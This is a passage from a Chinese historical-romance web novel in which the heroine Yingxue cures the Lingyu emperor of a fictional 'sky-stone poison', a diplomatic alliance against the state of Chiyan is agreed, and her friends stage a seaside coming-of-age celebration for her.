唐大人捋着胡须，微笑着说道：“等你问过你母亲，你母亲愿意，我就没意见。”心中却暗自思忖，他们迟早要回京城，远儿趁此机会与几位人中龙凤相交，对他而言的确是一件好事。
随后，唐大人又问起郑少臣接下来的行程。
郑少臣沉声道：“明日再休整一日，后日一早出发，凌羽使臣想尽快抵达。”
唐大人微微点头，表示理解，接着说道：“等你们回程也必定会经过榆城，到时再在府里游玩几日。榆城也有几处不错的风景，到时让远儿陪你们去游玩。”
郑少臣点头，举起手中酒杯，对唐大人笑道：“那到时就有劳唐大人和唐弟了。”
唐大人爽朗一笑，说道：“都是自己人，何来打扰。”
酒足饭饱，夜已深，明月高悬。
唐大人面带微笑，和蔼地对映雪几人说道：“今晚你们好好休息，把这儿就当成自己的家，有任何需求尽管提出来，无需有丝毫顾虑。”
映雪微笑点头回应：“多谢唐师兄。”
随后，映雪、嘉柔与清平一同回到了客院。这几日的劳累与担忧，使得映雪一觉睡到了翌日午时。绿绮心疼自家姑娘，便也没去喊映雪起床。
在院子里用了午膳，歇息了一会儿。
唐夫人身后跟着两个婆子，抬了个大箱子过来。打开箱子，里面满满当当全是女儿家用的物品，显然从昨日起唐夫人便已着手准备了。这一举动，令映雪几人感动不已。
唐夫人心疼地说道：“这些物品比不上你们平日里惯用的，你们就将就着用吧。出门在外，多有不便，有备无患总是好的。”
嘉柔甜甜一笑，说道：“唐夫人您太客气了。您准备的这些物品样样都极为精细，正是眼下我们所需要的呢。您可比我母妃还要细心周到。”
唐夫人笑意盈盈，拉过嘉柔的手，温柔地说道：“你这孩子嘴可真甜。我一直盼着能有个女儿在身边，可惜未能如愿。如今看到你们几个，就觉得格外亲切。你们就把这儿当成自己家，有什么需要尽管跟我说。”
映雪也轻笑道：“有师嫂准备的
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这些，我们什么都不缺了，谢谢师嫂。”
唐夫人嗔怪道：“又把师嫂当外人了。”接着又对映雪说道：“那小子与你们同行，要是有做得不对的地方，你直接管教便是。他要是敢不听你的话，等你们回来，我定饶不了他。”
嘉柔听了，忍不住咯咯直笑。映雪瞪了一眼嘉柔，转头对唐夫人笑道：“师嫂言重了。靖远为人正直，做事妥帖，我相信他定会事事周全，不会有什么不妥之处。”
唐夫人微微颔首，温声道：“若那小子有什么不妥之处，你只管教训便是。你既是他的小师叔，管教他自然是再合适不过。”
映雪闻言，含笑轻轻点头应下。
接下来，众人都忙碌地为明早的出行做着准备。凌羽使臣已然派人催促，毕竟行程紧迫。
此前因映雪的神奇药丸，使臣的腿得以保住，如今得知映雪安全归来，更是派人送来了丰厚重礼。
而在城外遇到的那群山匪，在寻人之时也出了大力，成功找出了赤焰在城外安插的两个暗桩。映雪心怀感激，拿了一颗解百毒的药丸交给对方。络腮胡子的山匪接过药丸，满脸激动，磕头跪谢。
翌日一早，阳光初绽，两个使团合并一处，浩浩荡荡地出了城门。
唐靖远骑在马背上，身姿挺拔，满脸兴奋之色，难以掩饰。
嘉柔瞧见他这副模样，忍不住嘀咕道：“不就是出个远门嘛，至于这么激动。”话音刚落，便察觉映雪和清平正盯着自己的脸瞧。嘉柔抬手在脸上轻轻擦了一下，疑惑道：“我脸上有脏东西吗？”
映雪神色平静，轻声问道：“嘉柔，你是不是喜欢上他了？这两日你对他的关注可比你大哥多多了。”
嘉柔一听，顿时脸色通红，急忙反驳道：“才不是呢！我就是看他不顺眼罢了。”
映雪与清平相视一笑，却也没再说话，毕竟感情之事，外人插不上手。
接下来的行程，出奇地顺利。
不知是因为许牧舟的加入让对方有所忌惮，还是出了大乾后对方出手不便，众人又连续赶了二十几日的路程，终于抵达了此行的目的地——凌羽皇城。
凌羽皇城的城墙巍峨高耸，旌旗在风中肆意飘扬。踏入皇城，宽敞的街道皆由青石板铺就，干净整洁，一尘不染，足以容纳数辆马车并行。街道两旁店铺林立，各类商品琳琅满目，让人目不暇接。城中亭台楼阁错落分布，雕梁画栋，尽显美轮美奂之姿。随处可见的书馆散发着浓厚的文化气息，茶馆中热闹非凡，坐在马车上都能听到那高谈阔论之声不断传来，一片热闹欢腾的景象。
嘉柔坐在马车上，望着眼前的景象，不住地赞叹道：“这凌羽皇城比我们京城更加热闹，也更为宽敞漂亮呢！”
清平微微一笑，说道：“凌羽无战争之扰，百姓安居乐业，故而更注重经济与文化的发展，物质富足且精神丰盈，自然与大乾有所不同。”
嘉柔面露不解之色，问道：“那如此说来，凌羽的国威岂不是在大乾之上？”
映雪含笑回应道：“并非如此。凌羽之所以无战争，是因为大乾也秉持和平之念。倘若大乾换个好战的皇帝，以凌羽目前的状况来看，其军队相对落后，战力不足，一旦有战事发生，凌羽恐怕难以招架。所以，这也是凌羽一直与大乾保持友好关系的原因所在。”
嘉柔这才恍然大悟，随即高兴地说道：“原来是这样，且此次又是凌羽有求于我们，对方肯定不敢怠慢我们。”
话音刚落，马车缓缓停了下来。
93. 诅咒
马车在凌羽行宫停下。
凌羽行宫位于皇城显要处，朱红大门高大，门环纯铜且雕有祥瑞图案，两侧汉白玉石狮子威风凛凛。围墙由青石砌成，墙头彩色琉璃瓦闪耀，还镶嵌着浮雕展现文化。
走进行宫大门，一个宽敞而雅致的庭院呈现在眼前。庭院中，地面由洁白的大理石铺就，一尘不染，如同明镜一般。路两旁种满了各种珍稀的花卉和奇树，五彩斑斓，香气四溢。庭院中央，有一座造型独特的喷泉，喷泉由白色玉石打造，泉水从栩栩如生的雕塑口中喷涌而出，潺潺流淌，发出悦耳动听的声响。
整个凌羽行宫外观富丽堂皇又充满文化气息，完美地体现了凌羽的富有与对文化的高度重视。
凌羽使臣把映雪等人送到行宫，就提出告辞，道：“诸位一路辛苦，还请在此好好歇息。我去向陛下复命，告知陛下诸位已平安抵达。若有任何需求，尽管吩咐行宫之人，他们自会为诸位妥善安排。”
芸香公主身着一袭淡紫色的华丽长裙，袅袅婷婷地走了过来，对映雪几人道，“慧敏郡主，嘉柔郡主，清平县主，你们一路舟车劳顿，定是疲惫不堪了。你们且在此好好休息，等你们养足精神，我定要设宴好好感谢你们一路的照顾。”
映雪嘴角上扬，落落大方地说道：“公主盛情，我们心领了。那我们宴会上再见。”
嘉柔与清平点头浅笑。
待凌羽的人都离开后，行宫中除了几位护卫和侍女，便都是自己人了。映雪几人兴致勃勃地把行宫逛了个遍。郑少臣将最好的院子留给映雪三人，语重心长地叮嘱道：“这里可不是大乾，人生地不熟的，你们不可随意出去走动，免得节外生枝。最迟明日一早，凌羽陛下就会召见。”
嘉柔一听，顿时撇嘴道：“我们还想着出去逛街呢，而且听说凌羽的海产品特别丰富，我们想去外面吃饭。”
郑少臣满脸无奈，说道：“等过了明日，哪一天不能去逛街啊？非得今天去不可吗？”
许牧舟留意到映雪虽未言语，但眼神中却流露出一丝向往之色，显然她也想去外面看看。他轻咳一声，直言道：“行了，既然你们不觉得累，想去就去吧。先去收拾一下，一会儿我派人来喊你们。”
映雪闻言，眼神立即亮了起来，如同璀璨的星辰。
嘉柔一听，立刻兴奋得手舞足蹈：“还是牧舟哥哥好。”随即转头对郑少臣嫌弃道：“哼，活该你娶不到媳妇。”郑少臣无奈地抚额，一脸的无可奈何。
众人见状，顿时笑作一团。
因有着刚到异国的新鲜，映雪三人丝毫不见疲惫，待洗漱后，换了衣裙。
映雪身着月白色长裙，裙袂似云雾，腰间淡蓝丝带显腰肢纤细，长发白玉簪挽，几缕发丝垂颊，灵动俏皮，眉如远黛微扬，目若秋水含星，肌肤如雪，唇红，空灵纯净如小仙女。
嘉柔穿粉色罗裙，裙摆桃花绣栩栩如生，头发梳成可爱发髻，点缀粉色珠花，眼睛明亮灵动，笑露小虎牙，可爱活泼。
清平身着淡绿色衣衫，乌发如瀑，柔顺地垂在肩头，只用一支碧玉簪轻轻固定，简约而优雅。她面容姣好，眉似弯月，目如秋水，眼眸中透着温柔与聪慧。腰间的翠绿色玉佩随着她的动作轻轻摇曳，更增添了几分婉约之美。
三人各具特色，光彩照人。
嘉柔扬起下巴，得意洋洋地说道：“可不是我自夸，你们有没有留意到，这凌羽国的姑娘们，那皮肤好似都比不上我们大乾的姑娘们那般细腻白皙呢。”
清平含笑道，“凌羽临海，海风对皮肤会有些损伤，自然不能与咱们大乾比。”顿了一下，又道，“像芸香公主那样如雪的肌肤，怕是不多见。”
映雪接着道：“你有没有发现他们的建筑与大乾大不相同？这不仅因为凌羽富有，还因为临海受海风影响，他们的建筑设计更注重对海风的防护，如墙壁厚实坚固，窗户小且密闭，既保护居住者安全舒适，也在一定程度上保护皮肤免受海风伤害。”
嘉柔闻言，不禁感慨：“难怪母妃总让我跟你们学习呢，你们怎么什么都懂呀？”
话音刚落，便传来大哥郑少臣的调侃之声：“既然知道自己的不足，等回去之后就好好读书，别整天一门心思只想着玩耍。”
嘉柔噘起嘴，不服气地说道：“我又不需要考状元，读那么多书干什么呀？再说了，我不懂的地方不是还有你们嘛。”
随即，她的头顶被映雪轻轻敲了一下，映雪笑着说道：“这次我可要站在你大哥这边了。你以后总归是要嫁人的，那些深奥的学问可以不学，但为人处世之道、与人交往之法、区分好坏之人这些必须得好好学一学，至少不能被下人给蒙骗了去。”
郑少臣听了映雪的话，微微颔首表示赞同，看向嘉柔语重心长道：“映雪所言极是，嘉柔，你不能再任性贪玩，如今你年岁渐长，该为将来多做打算，多学为人处世之道，对你有好处。”
苏璟皓面带笑容地走了过来，带着几分戏谑打趣道：“妹妹，真没想到这般深刻的道理竟会从你的口中说出。方才那一瞬间，我险些以为是祖母在说话呢。”
嘉柔被这一幕惹得大笑不止。映雪则嗔怒地瞪了大哥苏璟皓一眼，出声提醒道：“大哥，夫子交待给你的任务完成了多少？”苏璟皓一听这话，顿时哑口无言。映雪得意地哼了一声，转头之际，恰好对上许牧舟的目光，那目光中满是宠溺，让映雪的脸颊瞬间染上一抹淡淡的红晕，微微发烫起来。
几人径直奔向皇城最大的酒楼——“海韵楼”。
海韵楼坐落在凌羽皇城最为繁华之处。那朱红色的大门上，金铆钉熠熠生辉，门旁的海兽石雕栩栩如生。
踏入酒楼，大堂极为宽敞，地面铺着蓝色地毯，上面绣着层层海浪与各种海洋生物，仿佛让人置身于大海之中。中央处，如扬帆海船般的巨大水晶吊灯璀璨夺目。四周的白色大理石墙壁上，绘着凌羽国的海景画卷，美不胜收。
雅间的雕花窗户镶嵌着彩色琉璃，从这里可以俯瞰整个皇城的热闹景象。
几人刚一走进酒楼，便立刻吸引了楼内众人的目光。他们不同于凌羽人的肤色，且气质卓然不凡。
店小二殷勤地捧着菜单走了过来。嘉柔听着那不知是何物的菜品介绍，直接豪爽地说道：“把你们店里的招牌菜以及特色菜全部都给本姑娘上上来。”
不一会儿，一道道美味佳肴被端上了桌。那翡翠海贝羹如碧绿的珍宝，散发着海洋的清新气息；香酥海鱼卷金黄酥脆，香气四溢；五彩海鲜拼盘更是色彩斑斓，令人赏心悦目；珊瑚虾球圆润可爱，色香味俱佳；金缕蟹肉煲浓郁醇厚，引人垂涎；酒醉虾鲜活灵动，别具风味；清蒸蟹肥硕饱满，散发着诱人的鲜香。全是海味的菜肴，仿佛将大海的盛宴呈现在众人眼前。
嘉柔看着眼前的蒸蟹，瞬间傻眼，疑惑道：“这要怎么吃呀？”映雪浅笑盈盈，回应道：“自然是用嘴吃，咱们也入乡随俗一次，自己动手，丰衣足食。”苏璟皓等人闻言，也不废话，直接开动起来。
许牧舟毫不犹豫地拿起一只螃蟹，动作娴熟地剥开蟹壳，修长的手指灵活地将蟹肉从壳中完整地取出，
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轻轻放在映雪面前的小碟子里。接着，他又拿起一只虾，小心地剥去虾壳，将鲜嫩的虾肉递到映雪面前。映雪微微一愣，脸颊染上一抹红晕，轻声道：“你自己吃，不用管我。”许牧舟却也不搭话，慵懒的模样似是沉浸其中，全然不在意众人的目光，专心致志地替映雪剥着虾。
苏璟皓见状，也悄悄把剥好的蟹肉放进清平的盘子里。嘉柔看得眼热，嘟着嘴对郑少臣道：“大哥，我也要吃蟹。”
郑少臣微微皱眉，毫不留情地说道：“自己剥。”
嘉柔委屈不已，眼眶泛红，险些要哭出来。随即，眼前却递过来一道剥好的蟹肉，还有几只虾肉。转头看去，唐靖远面上带着羞涩的神情，耳朵泛起红晕。嘉柔瞬间眉开眼笑，对大哥郑少臣翻了个白眼。
一时间，郑少臣似是惹了众怒。三位俊美男子专心致志地替身边的姑娘剥着虾蟹，只有郑少臣形单影只。郑少臣深呼吸一口气，无奈道：“我说你们够了吧，真没把我当外人。”
一顿饭的功夫，映雪与许牧舟之间的关系愈发亲密，苏璟皓和清平之间也悄然多了几分暧昧的气息。就连嘉柔对唐靖远都多了几分好脸色。唐靖远被嘉柔的笑容所感染，心中暗衬，不愧是他崇拜的对象。
一路上慢悠悠地消着食走到行宫，只见厅里已有一位公公静静等候着。众人刚一踏入，那公公便连忙起身，恭敬地行礼，道：“奴才见过各位贵人。奴才奉陛下之命，明日一早前来接各位贵人进宫游玩。”郑少臣微微颔首，以示回应。
行宫离皇宫不远，凌羽皇宫坐落在皇城的中心，气势恢宏，威严壮观。朱红色的宫墙高大而厚重，宫墙之上，金色的琉璃瓦在阳光下闪耀着璀璨的光芒，皇宫大门由厚重铜铸，刻有龙凤呈祥等精美图案，两侧侍卫威武，守卫森严。
宫内多用大理石与琉璃建造，二者相映成辉，尽显皇室奢华与底蕴。
由于此事涉及到诅咒，为避免引起群民混乱，凌羽皇帝特意将召见映雪的地方改为占星阁。许牧舟与郑少臣陪同在列，而其他人则留在御花园游玩。
凌羽皇帝虽年近五十，却依旧精神矍铄。他面容威严，眉如利剑微微上扬，眼角虽有几丝细纹，却更添岁月沉淀出的沉稳与睿智。双目炯炯，鼻梁高挺，嘴唇不怒自威。黑发夹银丝，束起戴金冠。身着明黄龙袍，金龙刺绣栩栩如生，闪耀光芒，尽显帝王尊贵霸气。
映雪等人步入占星阁，皇帝抬眼瞧见，脸色瞬间柔和下来，眼神中更是流露出几分急切的期待。
一番寒暄之后，众人直接切入主题。
映雪上前为皇帝诊脉，时间缓缓流逝，占星阁内寂静无声，皇帝心中渐渐涌起一丝不安，正欲开口询问，映雪已然松开了手。
她微微皱眉，沉声道：“陛下，是天石之毒，并非诅咒。”
皇帝闻言，神色紧张，急忙问道：“可有解法？”
映雪缓缓开口：“陛下中毒已深，毒素虽可排出，但需耗费些时日。只是陛下如今的身子状况，已不适合再孕育皇子。”
皇室此前接连诞下几个畸形儿，皇帝早已心生畏惧，如今得知毒素可解，已然觉得万幸。
皇帝微微颔首，神色间的紧张稍缓。他满含恳切之意，诚挚地说道：“此次多亏郡主。还望郡主能在凌羽多停留些时日，待朕以及其他皇嗣体内的毒素尽皆清除，朕必定重重酬谢郡主。”
映雪与许牧舟对视一眼后，许牧舟上前一步，拱手向皇帝说道：“陛下可知这天石之毒的来源？若能查明毒源，或许能更好地防范日后再次出现此类情况。”
94. 及笄
皇帝眉头紧锁，声音沉郁道：“寡人从未听闻过这天石之毒，不知世子从何得知？”
许牧舟微微欠身，神色凝重至极，缓缓开口：“陛下，我朝太子曾不幸中此天石之毒，幸得慧敏郡主及时察觉。这天石之毒极为罕见，尤其是身体康健之人，中毒后更是难以被察觉。鉴于这一年来赤焰多次挑衅，臣有充分理由怀疑，这一切极有可能是赤焰的阴谋诡计。”
皇帝神色愈发冷峻，强忍着怒气道：“凌羽与赤焰一向井水不犯河水，竟使出如此阴毒手段，实在可恨。”
郑少臣接着道：“陛下，凌羽物产丰富，远非贫瘠的赤焰可比。若赤焰无需一兵一卒便能占领凌羽，再与我大乾化干戈为玉帛，臣也不能保证大乾不会心动。毕竟大乾政治及军事日渐强势，赤焰未必能敌得过。”
皇帝闻言，脸色瞬间变得极为阴沉，眼中满是惊恐与忧虑。显然，他也想到了凌羽当下的处境。凌羽军事力量薄弱，若不是有大乾在中间抵挡，赤焰恐怕早就攻打过来了。但若哪一天，大乾与赤焰结盟，共同瓜分凌羽，那凌羽必将成为任人宰割的羔羊。所以，一定不能让大乾与赤焰结盟。
皇帝调整好心绪，柔声道：“贵国国主对我凌羽的善意，寡人感激不尽。若这次不是尔等前来，凌羽皇室只怕危矣。若贵国国主有哪方面需要寡人协助的，只管提来，寡人必会想尽办法满足。”
郑少臣闻言，心中微微松气，他正等着对方这句话，随即笑道：“陛下也知，我大乾不比凌羽富裕，这些年来又一直与赤焰战争不断，损耗巨大。如今赤焰野心勃勃，对凌羽虎视眈眈，若凌羽被其侵占，那赤焰必将实力大增，届时大乾处境也将艰难。为今之计，大乾与凌羽当携手共进，共同抵御赤焰。而大乾如今急需军资以加强军备，若陛下能慷慨相助，提供军资，大乾必能更好地守卫边境，保护凌羽与大乾两国百姓之安宁。如此，既解了大乾之困，又保了凌羽之安稳，实乃双赢之举。”
皇帝自然答应，坚定道：“赤焰既已对凌羽下手，凌羽断无坐以待毙之理。别的方面凌羽无法保证，但在军资方面，凌羽全力支持。请贵国国主放心，凌羽本次将与大乾携手，彻底击败赤焰，令赤焰再无反击之力。”
郑少臣微微躬身，神色郑重道：“陛下深明大义，有陛下这番承诺，大乾将士必将奋勇杀敌，不辜负陛下的信任与支持，为两国之和平稳定拼尽全力。”
双方基于战争合作已初步达成共识，细节会在凌羽皇帝与大臣们商议后再进一步探讨。
皇帝的忧虑去了一大半，随即问起映雪道：“郡主，以寡人现在的身体，若是去毒大概要多少时日？”
映雪心中粗略估算，轻声道：“大概一个月左右。”接着又道：“陛下可以安排好需要就诊的皇嗣，臣女会每日抽出两个时辰来宫里替他们号脉，根据中毒深浅程度，配制相应药物。如此，方能确保皇嗣们尽快康复，也能让陛下安心。”
皇帝微微颔首，笑道：“郡主医术精湛，又如此尽心尽力，实乃我凌羽之幸。寡人想着郡主每日来回奔波太过劳累，不如就住在宫里，也更方便行事。”
映雪微微欠身，婉言拒绝道：“多谢陛下厚爱，行宫离得不远，往返也花费不了多少时间。陛下放心，臣女会按时来皇宫，不会耽误。”
皇帝见映雪拒绝也不勉强，随后笑道：“今晚宫里为几位贵客接风洗尘，寡人要好好感谢诸位，这一路对凌羽的照顾。”
郑少臣微微欠身，恭敬地说道：“陛下言重了。陛下如此盛情款待，我等定当准时赴宴。”
映雪三人从占星阁离开，缓缓前往御花园与嘉柔几人汇合。刚靠近御花园，便听到嘉柔那骄傲的声音远远传来。“我们大乾凝香阁的所有香品均是出自慧敏郡主之手，慧敏郡主你们听说过吧？对，就是你们国师口中的天女，这次也是带着使命前来替你们皇室排忧解难。她不但医术高超，所研制的香丸更是无人能比。在我们大乾，没有哪个贵女没用过凝香阁的香丸。”
随即，一道清脆的女声传来，好奇地问道：“所以你们这如婴儿般娇嫩的肌肤也是用了这香丸之故吗？”
嘉柔抬着下巴，满脸得意道：“那是自然。你们若是不信，可以找芸香公主要几颗试用。她去大乾的时候在凝香阁逛过，把凝香阁的所有香品都买空了。”
话音刚落，就听到“咳咳”两声。嘉柔转头瞧见是映雪几人过来，立马起身，欢快地朝映雪奔来，不由分说地把映雪拽到人群中介绍起来。映雪看着眼前这十几个公主围着自己，心中顿时一阵无语。
公主们见映雪的肌肤更胜于嘉柔和清平，顿时热情不已，还好被前来的芸香公主给解救出来。映雪狠狠地瞪了一眼嘉柔，嘉柔心虚，转头就找唐靖远玩去了。
清平与映雪商议道：“凌羽国经济发达，若是把凝香阁的产品卖到凌羽国，未尝不可。凌羽国的贵女最不缺的就是银子，能用银子解决的容貌问题，想来她们定会趋之若鹜。”
能赚更多的银子，映雪自然不会不愿意，只是涉及两国商贸，并非她们能做主决定的，便笑道：“反正我们在凌羽还要住上一个月，可以去信征得皇上意见。若能得皇上支持，想来我们的慈善局要开遍大乾便不是问题了。”清平点头赞同。
实际上，凌羽国的姑娘长得并不是不漂亮，她们的肤色更接近健康的麦色，又因受海风影响，难免粗糙了些。
凌羽的宴会充分体现了凌羽特色，映雪几人坐在席台，一边欣赏歌舞表演，一边享受美食，好不惬意。
许牧舟见映雪眼睛直直地盯着舞场中央打着赤膊表演的年轻男子们，顿时心中涌起一股酸意，心中暗斥道：“哼，寡不廉耻。”随即招来身边侍候的宫女，一番耳语。
映雪正看得津津有味，没想到男子们跳舞也这么优美，身体柔软丝毫不差于女子，完全不同于大乾男子舞剑的凌厉。忽然，从身后走过来一名宫女，递了一盘子剥好的蟹肉过来，映雪疑惑，宫女用手指朝对面一指，映雪抬眼便见到了许牧舟眼中的怒意。顿时心虚，专心吃着盘子里的蟹肉。
实际上，皇宫中的宴会是有专门的宫女伺候贵人用膳的，但许牧舟享受亲自替映雪剥虾蟹的乐趣，映雪自然也乐意。
直到宴会结束，嘉柔还意犹未尽地和映雪、清平讨论着宴会上的表演。叹息道：“真不愧是注重文化的凌羽，我恐怕以后再也看不上大乾的表演了。”
映雪微笑道：“凌羽的表演精彩，大乾的表演则庄重典雅，各有特色，不能简单评判孰优孰劣。好的东西
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都值得欣赏品味。”
嘉柔点头称是。
接下来的十几天，映雪除了每日辰时会去皇宫替皇嗣们诊脉，还参加了芸香公主举办的宴会。其余时间，几人把凌羽皇城逛了个遍，也把皇城的美食尝了个遍。
使臣大人回了凌羽后，就把映雪送珍贵药丸的药费给送了过来，满满一箱子，皆是价值不菲之物。南海珍珠，颗颗圆润饱满；羊脂玉温润细腻；还有鲜艳欲滴的红宝石、神秘深邃的蓝宝石，以及不少名贵的绫罗绸缎。映雪很大方，让嘉柔和清平随意挑选，嘉柔和清平也不客气。
同时，这也更加坚定了她们要把凝香阁的产品卖到凌羽的决心。
郑少臣已经派了人送信回大乾，期待着两国商贸合作的进一步发展。
这日，映雪从宫中回来，不见嘉柔、清平、许牧舟几人，正觉奇怪。宋嬷嬷含笑走来，行礼道：“郡主，世子交待老奴在此等您，让您登上门外那辆马车，它会带您去找他们。”
映雪嘀咕：“神神秘秘。”转头朝竹清问道：“你知他们去哪了？”竹清摇头。
映雪朝门外走，门外停着一辆华丽的马车。车身紫檀木打造，雕刻着精美花纹，车帘是淡紫色的丝绸所制，上面绣着栩栩如生的花朵，马车的四角悬挂着小巧玲珑的铃铛，拉车的马匹毛色光亮，神骏非凡，马头上戴着彩色的缨络，显得格外威武。
马车犹如一件艺术品，令人心生欢喜。
马车缓缓前行，车轮轧过地面发出轻微的声响。映雪坐在车内，心中满是好奇与期待。随着马车的行进，她渐渐听到了海浪的声音，那声音由远及近，越来越清晰。
终于，马车停下。映雪轻轻掀开淡紫色的车帘，瞬间被眼前的景象所震撼。
无数鲜花编成花环，环绕沙滩。红的牡丹、粉的桃花等竞相绽放，散发芬芳。花环中央，白色锦毯铺满粉色花瓣，如梦幻之路。四周挂淡蓝色绫罗纱幔，点缀夜明珠，似云似雾。不远处，檀木桌摆满礼物与珍馐。金色托盘有水果糕点，银色花瓶插鲜花。
花环一侧有舞台，摆古朴乐器，待奏乐章。舞台周围用彩丝带装饰。海边礁石上，琉璃灯笼散发温暖光芒。
映雪站在原地，一动不动，眼中满是不敢置信，仿佛眼前的一切美好得如同梦幻。这时，苏璟皓缓缓踱步而来，脸上带着温暖的笑容，开口道：“妹妹，你怕是忘了今日是什么日子吧？”
顿时，映雪的情绪如决堤之水，渐渐哭出声来。嘉柔也如欢快的蝴蝶般跑了过来，打趣道：“映雪姐姐，你现在是不是喜极而泣呀？为了给你办一场特别的及笄宴，牧舟哥哥这段时日可是一刻都没闲着呢。”接着又转言道，“当然啦，我也没少出力哦。”
映雪听了，又是感动又是觉得好笑，连忙用袖子轻轻擦了擦眼泪，然后紧紧抱住嘉柔，真诚地说道：“我真的很感动。”嘉柔却不依不饶，继续调侃道：“你是不是抱错人啦？有人可要吃醋咯。”
映雪正要反驳，抬眼便瞧见许牧舟那副骄傲的模样，仿佛在等着她的夸赞，这副神情让她不禁笑出声来。她也不再扭捏，大大方方地上前，张开双臂搂住许牧舟的腰间，柔声道：“谢谢，我非常喜欢，也非常开心。这场及笄宴，将会是我一生最美好的回忆之一。”
95. 回程
许牧舟嘴角上扬，满是骄傲地说道：“早点嫁我。嫁给我，定能让你成为天下间最令人艳羡的女子。”
映雪听了，脸颊微微泛红，轻轻扬起下巴，俏皮地回应道：“哼，那我可得好好斟酌斟酌，瞧瞧你日后的表现再说。不过呢，此次的及笄宴我着实喜欢，就暂且给你加上一分吧。”说完，还冲许牧舟俏皮地眨了眨眼睛。随后，映雪松开了环抱着许牧舟腰间的手臂。
这次的及笄宴，没有长辈在场，少了许多拘束，处处洋溢着朋友们的真诚祝福与欢声笑语。
许牧舟还邀请了芸香公主以及与映雪交好的几位皇子皇女们前来参加。
为了这场及笄之礼，许牧舟特地征得皇帝同意，将皇家舞坊、皇家画师请来助兴和留念。
由于条件所限，此次及笄礼的流程并未完全依照贵女传统的方式进行，然而，却显得更加别具意义。
及笄礼结束，开始了海边的篝火舞会，此时没有主仆之分，侍卫、丫鬟皆参与其中。海浪轻拍海岸似打节拍，众人在月光下尽情舞动，欢声笑语回荡海边。
映雪悠闲地坐在椅子上，一边赏景，一边享受许牧舟的投喂。
不远处的海边，嘉柔与唐靖远正欢快地捡着贝壳玩耍。唐靖远耐心地跟在嘉柔身后，任由她将一个个美丽的贝壳放入自己的衣兜。渐渐地，衣兜被贝壳装得满满当当。嘉柔兴奋不已，眼眸中闪烁着喜悦的光芒，她大声道：“走，让他们看看我们的战利品。”说罢，拉起唐靖远的手，迫不及待地朝着映雪他们所在的方向跑去。
清平也被嘉柔带回来的五彩斑斓的贝壳所吸引，正挑着把玩，却突然轻呼一声，下意识地缩回手。
一旁的苏璟皓听到声音，立刻转头，只见清平手指上有一道划痕，血珠正往外冒。他毫不犹豫地将清平的手指放进嘴里吸吮。清平被这突如其来的举动惊得愣住，脸颊瞬间绯红。苏璟皓一边吸吮伤口，一边轻声道：“别怕，这样可以止血。”
清平环顾四周，尴尬至极，连忙把手指从苏璟皓嘴里拉出来。苏璟皓不明所以，再次抬头，发现映雪等人都直愣愣地望着他。
下一刻，嘉柔咯咯笑起来，“我们什么也没看到。”
苏璟皓挠挠头，“咳咳”两声，佯装无事发生。
映雪简直要被大哥的样子蠢哭，心中暗道：不应该趁热打铁吗？随即朝苏璟皓说道：“大哥，绿绮那有药膏，你去拿来替清平抹上。”
苏璟皓如获大赦，赶紧跑开，嘉柔又是一顿大笑。
郑少臣微微皱眉，对嘉柔轻斥道：“你看看你，哪里有点贵女的模样？别以为我眼瞎，什么都没看见，还好意思笑别人。”说罢，眼神在嘉柔及唐靖远身上打转。
嘉柔一阵心虚，转头询问清平伤势，清平摇头道：“不碍事。”
唐靖远也架不住郑少臣的审视，眼神有些闪躲。
嘉柔看着大哥郑少臣形单影只的模样，心中顿觉大哥有些可怜。她瞧见有几位凌羽公主的目光不时落在大哥身上，眼珠一转，便对郑少臣说道：“大哥，我瞧着这有好几个公主对你很感兴趣呢。要不你娶个公主回去呗，这样还能替皇伯父分忧呢。”
郑少臣眉头紧锁，轻斥道：“胡闹！再这般胡言乱语，我便单独将你送回去。”嘉柔撇了撇嘴，心中暗自嘀咕：“哼，活该大哥没姑娘喜欢。”
因清平身上的那点小状况，苏璟皓与清平的关系有了实质性的进展。不然，以苏璟皓那憨直的性子，还不知何时才能察觉清平对他的好感呢，他也算是因祸得福。
连着几日，苏璟皓脸上的笑意都藏不住，连夫子布置的任务都完成得格外出色。
嘉柔瞧见他这模样，私下里与映雪讨论道：“映雪姐姐，我怎么觉得你大哥一点都不聪明呢。”
映雪也深感无语，回应道：“难不成你不觉得他这幅模样正好与清平的性子相配吗？”
嘉柔细细思索一番，郑重地点头道：“还真是。”接着又叹息道：“等回京后，清平的亲事肯定就要订下来了，以后你们肯定都不带我玩了。”映雪用怀疑的目光盯着嘉柔，说道：“你确定只有清平的亲事，没有你的亲事？”嘉柔顿时羞红了脸，支支吾吾道：“我还小呢，而且母妃定不会同意让我远嫁。”
映雪带着几分调侃之意，慢悠悠地说道：“我可没说是哪位哦。”
嘉柔的脸瞬间涨得通红，她跺了跺脚，转身便跑开了。
映雪一脸笑意。
历经半个月的不懈努力，凌羽皇帝的身体状况有了显著改善，肉眼可见地变得精神饱满起来。皇嗣们的身体也已全部排查完毕，除了个别不受皇上待见的皇子外，大部分皇嗣都身中或多或少的毒素。映雪积极配合禁卫军展开调查，在众多皇子皇女的府邸中找出了含有剧毒的天石。
凌羽之人天生对宝石情有独钟，越是稀有之物，他们便越是热衷收藏。天石与宝石极为相似，他们对其喜爱也在情理之中。
随后，专门将含有剧毒的天石售予或赠予皇室的作案团伙被查出，其险恶用心昭然若揭，竟是妄图将凌羽皇室一网打尽。而且，此事也已证实与赤焰有关。
凌羽皇帝怒目圆睁，睚眦欲裂，发誓定要让赤焰付出惨痛的代价。
接下来的日子里，映雪轻松了许多。她除了调制药丸之外，只是偶尔需要前往皇宫为中毒颇深的皇嗣号脉，并调整治疗方案。
与此同时，也会有宫妃、公主以及贵女们前来求映雪为她们调制美容丸或其他药丸。当然，这些可不是免费的服务，映雪全凭心情接诊。
这一趟凌羽之行，映雪收获颇丰，赚得盆满钵盈，赚到的银子多到一辈子也花不完。
令苏璟皓几人咋舌，道：“你这赚钱的本事可真是让我们大开眼界啊。”
嘉柔也感慨道：“没想到学医竟然能赚这么多的银子，早知道，我也要学。”
许牧舟轻轻笑出声来，那笑声如清泉流淌般悦耳动听。映雪的脸颊微微泛红，她心里清楚，自己能有今日这般收获，当然是因为怀有景阳侯府宝物的缘故。心里觉得许牧舟肯定是在笑话她，于是接着狠狠地瞪了一眼许牧舟。
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郑少臣却忍不住打击嘉柔，道：“学医可是需要持之以恒的耐力，要不怕辛苦。就你这三天打鱼两天晒网的态度，或许连医书都背不下来。”嘉柔顿时气恼不已，道：“等回了京城，我定要找父王告状，说你欺负我，一点都比不上别人的哥哥好。”说罢，她歪着头，哼了一声，模样甚是可爱又带着几分赌气的倔强。郑少臣抚额，一脸无奈之色。
说到回京，大家离京至今，已有三个月之久。
